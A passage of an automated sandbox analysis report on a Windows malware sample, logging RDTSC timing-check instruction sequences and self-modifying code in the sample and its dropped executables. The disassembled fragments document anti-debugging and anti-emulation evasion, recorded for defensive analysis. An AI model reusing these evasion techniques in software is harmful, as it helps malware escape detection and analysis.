Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5470141 second address: 5470184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007EFEF4E8FF76h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 jmp 00007EFEF4E8FF6Eh 0x00000016 mov ecx, 72A95461h 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5470184 second address: 547019C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D324h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 547019C second address: 54701EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFEF4E8FF71h 0x00000008 pushfd 0x00000009 jmp 00007EFEF4E8FF70h 0x0000000e sbb al, FFFFFF88h 0x00000011 jmp 00007EFEF4E8FF6Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007EFEF4E8FF71h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54701EB second address: 54701F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54701F1 second address: 547023D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+10h] 0x0000000e jmp 00007EFEF4E8FF76h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007EFEF4E8FF77h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 547023D second address: 547029E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF544D31Fh 0x00000009 sub ax, 14EEh 0x0000000e jmp 00007EFEF544D329h 0x00000013 popfd 0x00000014 call 00007EFEF544D320h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007EFEF544D320h 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx edi, si 0x0000002a mov edx, ecx 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 547029E second address: 54702DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 8Fh 0x00000005 pushfd 0x00000006 jmp 00007EFEF4E8FF6Ah 0x0000000b add esi, 7517F9F8h 0x00000011 jmp 00007EFEF4E8FF6Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007EFEF4E8FF75h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54702DD second address: 547030C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 8E22h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f mov si, 8707h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007EFEF544D322h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 547030C second address: 547033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007EFEF4E8FF76h 0x0000000f test esi, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 547033A second address: 5470340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5470340 second address: 5470344 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5470344 second address: 54703B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007EFF676DB5DFh 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007EFEF544D326h 0x00000015 add eax, 1BA61DD8h 0x0000001b jmp 00007EFEF544D31Bh 0x00000020 popfd 0x00000021 push esi 0x00000022 jmp 00007EFEF544D31Fh 0x00000027 pop esi 0x00000028 popad 0x00000029 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000030 jmp 00007EFEF544D31Fh 0x00000035 je 00007EFF676DB59Dh 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54703B0 second address: 54703CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54703CB second address: 54703D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54703D1 second address: 54703D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54703D5 second address: 54703FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFEF544D329h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54703FD second address: 5470412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A000E second address: 54A003B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007EFEF544D326h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 movsx edi, si 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A003B second address: 54A009A instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pop edx 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007EFEF4E8FF6Ah 0x00000010 mov ebp, esp 0x00000012 jmp 00007EFEF4E8FF70h 0x00000017 and esp, FFFFFFF8h 0x0000001a jmp 00007EFEF4E8FF70h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 call 00007EFEF4E8FF6Dh 0x00000028 pop esi 0x00000029 call 00007EFEF4E8FF71h 0x0000002e pop esi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A009A second address: 54A0131 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007EFEF544D31Bh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov dx, si 0x00000014 mov ebx, ecx 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 jmp 00007EFEF544D31Ah 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 push edx 0x00000021 pop esi 0x00000022 pushfd 0x00000023 jmp 00007EFEF544D323h 0x00000028 adc ax, AFFEh 0x0000002d jmp 00007EFEF544D329h 0x00000032 popfd 0x00000033 popad 0x00000034 pushfd 0x00000035 jmp 00007EFEF544D320h 0x0000003a xor eax, 7C6446F8h 0x00000040 jmp 00007EFEF544D31Bh 0x00000045 popfd 0x00000046 popad 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push edi 0x0000004c pop ecx 0x0000004d mov ecx, ebx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0131 second address: 54A0137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0137 second address: 54A013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A013B second address: 54A0174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007EFEF4E8FF6Eh 0x00000010 sub ebx, ebx 0x00000012 pushad 0x00000013 push edi 0x00000014 mov bl, al 0x00000016 pop edx 0x00000017 mov esi, 0EBE4E1Bh 0x0000001c popad 0x0000001d test esi, esi 0x0000001f pushad 0x00000020 jmp 00007EFEF4E8FF6Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 mov edi, ecx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0174 second address: 54A0189 instructions: 0x00000000 rdtsc 0x00000002 mov cx, D983h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 je 00007EFF676A3527h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0189 second address: 54A018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A018D second address: 54A0193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0193 second address: 54A01EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007EFEF4E8FF70h 0x00000015 mov ecx, esi 0x00000017 jmp 00007EFEF4E8FF70h 0x0000001c je 00007EFF670E613Fh 0x00000022 jmp 00007EFEF4E8FF70h 0x00000027 test byte ptr [77786968h], 00000002h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov si, 7D8Fh 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A01EF second address: 54A0203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFEF544D320h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0203 second address: 54A0293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007EFF670E6111h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007EFEF4E8FF6Dh 0x00000015 jmp 00007EFEF4E8FF6Bh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007EFEF4E8FF78h 0x00000021 adc ecx, 6DB9AEC8h 0x00000027 jmp 00007EFEF4E8FF6Bh 0x0000002c popfd 0x0000002d popad 0x0000002e mov edx, dword ptr [ebp+0Ch] 0x00000031 jmp 00007EFEF4E8FF76h 0x00000036 xchg eax, ebx 0x00000037 jmp 00007EFEF4E8FF70h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007EFEF4E8FF6Eh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0293 second address: 54A02D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007EFEF544D326h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007EFEF544D327h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A02D3 second address: 54A02D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A02D9 second address: 54A0329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007EFEF544D31Eh 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov esi, ebx 0x00000014 pushfd 0x00000015 jmp 00007EFEF544D329h 0x0000001a adc esi, 20CBA416h 0x00000020 jmp 00007EFEF544D321h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0329 second address: 54A032F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0390 second address: 54A0396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A0396 second address: 54A045F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF4E8FF72h 0x00000009 jmp 00007EFEF4E8FF75h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007EFEF4E8FF70h 0x00000015 sbb al, FFFFFFB8h 0x00000018 jmp 00007EFEF4E8FF6Bh 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 pop ebx 0x00000022 jmp 00007EFEF4E8FF76h 0x00000027 mov esp, ebp 0x00000029 pushad 0x0000002a call 00007EFEF4E8FF6Eh 0x0000002f pushfd 0x00000030 jmp 00007EFEF4E8FF72h 0x00000035 xor ah, 00000078h 0x00000038 jmp 00007EFEF4E8FF6Bh 0x0000003d popfd 0x0000003e pop esi 0x0000003f push eax 0x00000040 push edx 0x00000041 pushfd 0x00000042 jmp 00007EFEF4E8FF6Fh 0x00000047 and ch, 0000003Eh 0x0000004a jmp 00007EFEF4E8FF79h 0x0000004f popfd 0x00000050 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54A045F second address: 54A04AD instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 1FCCED87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007EFEF544D31Fh 0x00000014 and ax, 584Eh 0x00000019 jmp 00007EFEF544D329h 0x0000001e popfd 0x0000001f jmp 00007EFEF544D320h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54901C9 second address: 54901CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54901CD second address: 54901D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5480E63 second address: 5480E96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 4345h 0x00000007 mov ah, CEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007EFEF4E8FF6Ah 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007EFEF4E8FF77h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5480E96 second address: 5480E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5480E9C second address: 5480EA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5480EA0 second address: 5480EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007EFEF544D327h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5480EC7 second address: 5480EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007EFEF4E8FF71h 0x0000000a add ax, 9286h 0x0000000f jmp 00007EFEF4E8FF71h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5500859 second address: 5500875 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7B1Bh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007EFEF544D31Ah 0x00000012 mov si, 8201h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0ABA second address: 54F0ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0ABE second address: 54F0AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0AC4 second address: 54F0B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF4E8FF6Ch 0x00000009 adc cl, 00000058h 0x0000000c jmp 00007EFEF4E8FF6Bh 0x00000011 popfd 0x00000012 jmp 00007EFEF4E8FF78h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007EFEF4E8FF6Bh 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007EFEF4E8FF75h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F08BA second address: 54F0917 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 movsx edi, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007EFEF544D324h 0x00000011 push eax 0x00000012 jmp 00007EFEF544D31Bh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 push ecx 0x0000001a push edi 0x0000001b pop eax 0x0000001c pop edi 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007EFEF544D322h 0x00000029 xor ah, 00000008h 0x0000002c jmp 00007EFEF544D31Bh 0x00000031 popfd 0x00000032 mov ch, 02h 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0917 second address: 54F091C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 5490756 second address: 54907AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov al, 89h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007EFEF544D31Fh 0x00000013 xor si, D60Eh 0x00000018 jmp 00007EFEF544D329h 0x0000001d popfd 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007EFEF544D323h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0DC8 second address: 54F0DD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF4E8FF6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0DD7 second address: 54F0E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFEF544D329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d call 00007EFEF544D31Ch 0x00000012 pushfd 0x00000013 jmp 00007EFEF544D322h 0x00000018 and ah, FFFFFF98h 0x0000001b jmp 00007EFEF544D31Bh 0x00000020 popfd 0x00000021 pop esi 0x00000022 push ebx 0x00000023 pop edx 0x00000024 popad 0x00000025 push dword ptr [ebp+08h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007EFEF544D31Dh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0E3C second address: 54F0E89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 74C2h 0x00000007 mov dh, 1Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push CF6B6F3Dh 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushfd 0x00000015 jmp 00007EFEF4E8FF78h 0x0000001a add al, FFFFFF88h 0x0000001d jmp 00007EFEF4E8FF6Bh 0x00000022 popfd 0x00000023 popad 0x00000024 add dword ptr [esp], 309590C5h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov di, ADF6h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0E89 second address: 54F0E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0EF5 second address: 54F0EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0EF9 second address: 54F0EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0EFF second address: 54F0F3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007EFEF4E8FF78h 0x00000009 and esi, 5D370B08h 0x0000000f jmp 00007EFEF4E8FF6Bh 0x00000014 popfd 0x00000015 mov ch, CDh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a movzx eax, al 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0F3A second address: 54F0F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54F0F3F second address: 54F0F44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 3DD0F4 second address: 3DD0F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54D03F6 second address: 54D03FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	RDTSC instruction interceptor: First address: 54D03FA second address: 54D0400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe	Special instruction interceptor: First address: 3F9772 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 7B9772 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Special instruction interceptor: First address: AF505A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Special instruction interceptor: First address: AF3C50 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Special instruction interceptor: First address: B1D8AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Special instruction interceptor: First address: B7E8D4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Special instruction interceptor: First address: EBFAF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Special instruction interceptor: First address: 1090EDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Special instruction interceptor: First address: 106FFAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Special instruction interceptor: First address: 10F0826 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Special instruction interceptor: First address: 405F4C instructions caused by: Self-modifying code
